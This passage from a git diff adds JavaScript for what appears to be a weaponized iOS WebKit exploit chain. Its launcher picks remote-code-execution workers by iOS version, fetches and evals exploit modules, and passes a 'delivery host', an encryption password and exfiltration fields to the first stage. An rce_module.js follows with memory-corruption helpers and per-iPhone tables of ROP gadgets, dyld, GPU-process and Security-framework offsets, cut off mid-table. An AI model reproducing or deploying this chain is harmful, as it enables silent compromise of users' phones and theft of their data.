= 1; i <= 2; ++i) { + const dw = new Worker(dlopen_worker_url); + dlopen_workers.push(dw); + await new Promise(r => { + dw.postMessage({ type: 'init', data: 0x11111111 * i }); + dw.onmessage = r; + }); + } + } + async function message_handler(e) { + const data = e.data; + switch (data.type) { + case 'log': + print(data.text || '', !!data.error); + break; + case 'redirect': + await waitPeExfilGrace(); + redirect(); + finish(true); + break; + case 'stage1_failed': + print('stage1_failed on ' + workerFile + ' (' + (data.reason || '?') + ')', true); + try { worker.terminate(); } catch (e) {} + finish(false); + break; + case 'prepare_dlopen_workers': + await prepare_dlopen_workers(); + worker.postMessage({ type: 'dlopen_workers_prepared' }); + break; + case 'trigger_dlopen1': + // Start scanner first, then close()-trigger dlopen under +0x10 prehold. + worker.postMessage({ type: 'check_dlopen1' }); + await new Promise(r => setTimeout(r, 30)); + dlopen_workers[0].postMessage({ type: 'dlopen' }); + break; + case 'retrigger_dlopen1': + // Fresh bitmap close while scanner waits — another UlvE under prehold. + try { dlopen_workers[0].postMessage({ type: 'dlopen' }); } catch (_) {} + break; + case 'trigger_dlopen2': + // Same order as dlopen1: start stack scanner FIRST, then trigger + // close()/dlopen. Waiting 250ms then scanning races on fast 18.6.x + // devices — dlopen finishes before check_dlopen2 and the retaddr + // is gone → infinite efficient_search hang. + worker.postMessage({ type: 'check_dlopen2' }); + await new Promise(r => setTimeout(r, 30)); + dlopen_workers[1].postMessage({ type: 'dlopen' }); + break; + case 'sign_pointers': + iframe.contentDocument.write('1'); + worker.postMessage({ type: 'setup_fcall' }); + break; + case 'slow_fcall': + iframe.contentDocument.write('1'); + worker.postMessage({ type: 'slow_fcall_done' }); + break; + default: + break; + } + } + worker.onerror = function (err) { + print('worker onerror: ' + workerFile + ' ' + (err && err.message ? err.message : err), true); + try { worker.terminate(); } catch (e) {} + finish(false); + }; + worker.onmessage = message_handler; + try { + const mod = moduleForWorker(workerFile); + const useWorkerRce = isIos186Plus(ios_version); + let rceCode = ''; + // Original DarkSword / nuih on 18.6.x: page only loads an 85B stub (or nothing). + // RCE is entirely inside rce_worker_18.6 via stage1_rce. Eval'ing the full + // 173KB rce_module_18.6.js on the page races the worker heap → WebContent + // crash right after "success with N unit tries" (never reaches stage1_prim). + if (useWorkerRce) { + print('module skip: stage1_rce self-contained (match upstream 18.6)'); + } else if (mod) { + rceCode = getJS(mod + '?' + Date.now()) || ''; + if (!rceCode || rceCode.length < 500) { + print('module stub/missing: ' + mod + ' (len=' + ((rceCode && rceCode.length) || 0) + ')'); + const fb = getJS('rce_module.js?' + Date.now()); + if (fb && fb.length >= 500) { + rceCode = fb; + print('module fallback -> rce_module.js'); + } else { + print('module load failed: ' + mod, true); + finish(false); + return; + } + } + } + if (rceCode) { + try { eval(rceCode); } catch (e) { + print('module eval error: ' + mod + ' ' + e, true); + finish(false); + return; + } + } + print('module ready: ' + (useWorkerRce ? '(worker-rce)' : (mod || 'none')) + + ' len=' + ((rceCode && rceCode.length) || 0) + + ' check_attempt=' + (typeof check_attempt)); + try { globalThis.ios_version_key = iosVersionKey(ios_version); } catch (e) {} + const desiredHost = resolveDeliveryHost(); + if (!desiredHost) { print('fatal: no delivery host', true); finish(false); return; } + print('rce_path: ' + (useWorkerRce ? 'stage1_rce(worker)' : 'check_attempt(page)') + + ' ios=' + (ios_version ? ios_version.join('.') : '?')); + if (useWorkerRce) { + worker.postMessage(Object.assign({ + type: 'stage1_rce', + desiredHost, + randomValues, + SERVER_LOG, + _enc_pass: labEncPassword() + }, exfilFields())); + } else { + if (typeof check_attempt !== 'function') { + print('fatal: check_attempt missing after module eval', true); + finish(false); + return; + } + var attempt = new check_attempt(); + function onAttemptDone(result) { + if (!result) { + print('check_attempt returned false', true); + finish(false); + return; + } + if (!validateStage1Handoff()) { + finish(false); + return; + } + if (!postStage1ToWorker(worker, begin, origin, desiredHost)) { + finish(false); + } + } + print('check_attempt start'); + var rceWatch = setTimeout(function () { + print('check_attempt still running after 15s (no RCE success/fail yet)', true); + }, 15000); + attempt.start().then((result) => { + clearTimeout(rceWatch); + if (!result) { + print('check_attempt first try failed — retrying', true); + attempt.start().then(onAttemptDone).catch(function (e) { + print('check_attempt retry failed: ' + e, true); + finish(false); + }); + } else { + onAttemptDone(true); + } + }).catch(function (e) { + clearTimeout(rceWatch); + print('check_attempt failed: ' + e, true); + finish(false); + }); + } + } catch (e) { + print('runWorkerAttempt setup error: ' + e, true); + finish(false); + } + }); +} + +async function launchExploitChain() { + var grade = chain_target.usable_grade || ''; + print('usable_grade=' + (grade || '?') + ' weaponized=' + !!chain_target.weaponized); + + // DEAD / fully patched: still run research harness (26.3), do not claim exploit success + if (chain_target.chain === 'ghostwave' && (grade === 'DEAD' || chain_target.patched)) { + print('GhostWave DEAD path — research harness only: ' + chain_target.reason); + if (chain_target.warning) print('warning: ' + chain_target.warning, true); + const host = resolveDeliveryHost(); + if (!host) { + print('fatal: no delivery host resolved', true); + return; + } + var harnessChain = worker_plan.length ? worker_plan : ['rce_worker_26.3.js']; + // Prefer 26.3 harness first + if (harnessChain.indexOf('rce_worker_26.3.js') < 0) { + harnessChain = ['rce_worker_26.3.js'].concat(harnessChain); + } + for (var hi = 0; hi < harnessChain.length; hi++) { + var hc = harnessChain[hi]; + if (hc.indexOf('26.3') < 0 && grade === 'DEAD' && ios_version && ios_version[0] === 26 && (ios_version[1] || 0) >= 3) { + continue; // do not burn long RCE workers on fully patched 26.3 + } + var code = await resolveWorkerCode(hc); + if (!code || code.length < workerMinBytes(hc)) { + print('worker ' + hc + ' unavailable (' + (code ? code.length : 0) + ' bytes)'); + continue; + } + print('launch harness: ' + hc + ' @ ' + host); + await runWorkerAttempt(code, hc); + return; + } + print('fatal: 26.3 harness unavailable', true); + return; + } + + if (chain_target.patched && chain_target.chain !== 'ghostwave') { + print('fatal: iOS version ' + chain_target.version_str + ' is patched: ' + chain_target.reason, true); + if (chain_target.warning) { + print('warning: ' + chain_target.warning, true); + } + return; + } + + if (!chain_target.delivery_ok) { + print('fatal: delivery blocked ? ' + chain_target.reason, true); + return; + } + const host = resolveDeliveryHost(); + if (!host) { + print('fatal: no delivery host resolved', true); + return; + } + // JIT + heap warmup before worker spawn (short — long warmup delays S1) + try { + const warm = new Array(32); + for (let w = 0; w < 3; w++) { + for (let i = 0; i < warm.length; i++) warm[i] = { a: w, b: i, c: Math.random() }; + warm.sort((a, b) => a.b - b.b); + } + print('jit_warmup ok'); + } catch (e) {} + const chain = worker_plan.length ? worker_plan : workerFallbackChain(ios_version); + // If WebContent jetsam/crashed mid-worker, the page reloads before stage1_failed. + // Detect in-flight worker from prior load and skip it for ~2 minutes. + // Use localStorage so skip survives iframe recreate (sessionStorage is wiped). + try { + var inflight = localStorage.getItem('__ds_inflight_worker') || ''; + var its = parseInt(localStorage.getItem('__ds_inflight_ts') || '0', 10) || 0; + if (inflight && its && (Date.now() - its) < 45000) { + var crashCountKey = '__ds_crash_count_' + inflight; + var crashCnt = (parseInt(localStorage.getItem(crashCountKey) || '0', 10) || 0) + 1; + localStorage.setItem(crashCountKey, String(crashCnt)); + var inIframe = false; + try { + inIframe = !!(window.parent && window.parent !== window); + } catch (_) { + inIframe = true; + } + // 嵌在 index iframe:WC 崩一次就停,禁止同 worker 重试(否则 Safari 弹「重复出现问题」) + if (inIframe) { + print( + 'detected WebContent crash mid ' + + inflight + + ' x' + + crashCnt + + ' — stop (iframe, no retry)', + true + ); + try { + window.parent.postMessage( + { + type: 'ds-wc-crash', + worker: inflight, + count: crashCnt, + progress: 42, + }, + '*' + ); + } catch (_) {} + try { + localStorage.removeItem('__ds_inflight_worker'); + localStorage.removeItem('__ds_inflight_ts'); + } catch (_) {} + return; + } + // First mid-worker crash (often early aar/w jetsam) — retry same worker. + // Only skip after 2 crashes within the window so we don't jump to missing fallbacks. + if (crashCnt >= 2) { + var skipRaw = localStorage.getItem('__ds_skip_workers') || '[]'; + var skipArr = []; + try { skipArr = JSON.parse(skipRaw) || []; } catch (_) { skipArr = []; } + if (skipArr.indexOf(inflight) < 0) skipArr.push(inflight); + localStorage.setItem('__ds_skip_workers', JSON.stringify(skipArr)); + localStorage.setItem('__ds_crash_mid_' + inflight, String(Date.now())); + print('detected WebContent crash mid ' + inflight + ' x' + crashCnt + ' — skip on retry', true); + } else { + print('detected WebContent crash mid ' + inflight + ' x' + crashCnt + ' — retry same worker', true); + } + } + localStorage.removeItem('__ds_inflight_worker'); + localStorage.removeItem('__ds_inflight_ts'); + } catch (_) {} + function workerSkipped(file) { + try { + var t = parseInt(localStorage.getItem('__ds_crash_mid_' + file) || '0', 10) || 0; + if (t && (Date.now() - t) < 120000) return true; + var arr = JSON.parse(localStorage.getItem('__ds_skip_workers') || '[]') || []; + return arr.indexOf(file) >= 0; + } catch (_) { return false; } + } + print('launch chain: ' + chain.join(' ? ') + ' @ ' + host + + (chain_target.ghostwave ? ' [GhostWave]' : '') + + (grade ? ' grade=' + grade : '')); + // Crash-skip must not discard the only runnable worker (common on 18.6 lab: only 18.6.js exists). + var runnable = []; + for (let wi0 = 0; wi0 < chain.length; wi0++) { + if (!workerSkipped(chain[wi0])) runnable.push(chain[wi0]); + } + if (!runnable.length) { + print('crash-skip would exhaust chain — clearing skip, retry primary', true); + try { + for (let ci = 0; ci < chain.length; ci++) { + localStorage.removeItem('__ds_crash_mid_' + chain[ci]); + } + localStorage.setItem('__ds_skip_workers', '[]'); + } catch (_) {} + runnable = chain.slice(); + } + for (let wi = 0; wi < runnable.length; wi++) { + const candidate = runnable[wi]; + if (workerSkipped(candidate) && runnable.length > 1) { + print('skip ' + candidate + ' (prior WebContent crash)', true); + continue; + } + if (workerSkipped(candidate) && runnable.length === 1) { + print('retry ' + candidate + ' despite prior crash (sole worker)', true); + } + const code = await resolveWorkerCode(candidate); + if (!code || code.length < workerMinBytes(candidate)) { + print('worker ' + candidate + ' unavailable (' + (code ? code.length : 0) + ' bytes)'); + continue; + } + if (wi > 0) print('worker fallback -> ' + candidate); + try { + localStorage.setItem('__ds_inflight_worker', candidate); + localStorage.setItem('__ds_inflight_ts', String(Date.now())); + } catch (_) {} + const ok = await runWorkerAttempt(code, candidate); + try { + localStorage.removeItem('__ds_inflight_worker'); + localStorage.removeItem('__ds_inflight_ts'); + if (ok) { + localStorage.removeItem('__ds_crash_mid_' + candidate); + localStorage.removeItem('__ds_crash_count_' + candidate); + var left = (JSON.parse(localStorage.getItem('__ds_skip_workers') || '[]') || []).filter(function (x) { return x !== candidate; }); + localStorage.setItem('__ds_skip_workers', JSON.stringify(left)); + } + } catch (_) {} + if (ok) return; + if (wi + 1 < runnable.length) { + print('retrying with ' + runnable[wi + 1], true); + } + } + print('fatal: all workers exhausted for iOS ' + (ios_version ? ios_version.join('.') : '?'), true); +} +launchExploitChain(); diff --git a/channel-builder-ds/source/rce_module.js b/channel-builder-ds/source/rce_module.js new file mode 100644 index 0000000..2c383fd --- /dev/null +++ b/channel-builder-ds/source/rce_module.js @@ -0,0 +1,3595 @@ +/* HEADERS */ +const ab = new ArrayBuffer(8); +const u64 = new BigUint64Array(ab); +const u32 = new Uint32Array(ab); +const u8 = new Uint8Array(ab); +const f64 = new Float64Array(ab); + +BigInt.fromDouble = function(v) { f64[0] = v; return u64[0]; }; +BigInt.fromBytes = function(bytes) { for (let i = 0; i < 8; ++i) { u8[i] = bytes[i]; } return u64[0]; }; +BigInt.prototype.hex = function() { let s = '0x' + this.toString(16); return s; }; +BigInt.prototype.asDouble = function() { u64[0] = this; return f64[0]; }; +BigInt.prototype.add = function(other) { return this + other; }; +BigInt.prototype.sub = function(other) { return this - other; } +BigInt.prototype.noPAC = function() { return this & 0x7fffffffffn; } +BigInt.prototype.asInt32s = function() { + u64[0] = this; + let lo = u32[0]; + let hi = u32[1]; + if (hi >= 0x80000000) { + hi = (hi - 0x100000000) & 0xffffffff; + } + if (lo >= 0x80000000) { + lo = (lo - 0x100000000) & 0xffffffff; + } + return [lo, hi]; +}; +[].shift(); +/* HEADERS END */ +rce_offsets = { + "iPhone11,2_4_6_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadec98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade780n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade6e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade730n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb848n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bde60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bde68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bde70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bde78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c7be60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e418n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62678n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1b8n, + WebCore__initPKContact_value: 0x1eda6b1c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69980n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69978n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69960n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f5c0n, + __pthread_head: 0x269008020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4f90n, + gadget_control_1_ios184: 0x23f2f82ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d09d7e8n, + libGPUCompilerImplLazy_cstring: 0x23c1e7870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca458n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c96c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone11,8_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadec98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade780n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade6e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade730n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb848n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bde60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bde68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bde70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bde78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c47e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e418n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62678n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1b8n, + WebCore__initPKContact_value: 0x1eda6b1c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69980n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69978n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69960n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f5c0n, + __pthread_head: 0x269000020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4f90n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca458n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c96c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone12,1_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadecd8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade7c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade720n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade770n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb888n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bdea0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdea8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdeb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddf0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdeb8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c8fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e458n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda626b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1f8n, + WebCore__initPKContact_value: 0x1eda6b200n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda699c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda699b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda699a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f600n, + __pthread_head: 0x269104020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4fd0n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca498n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, 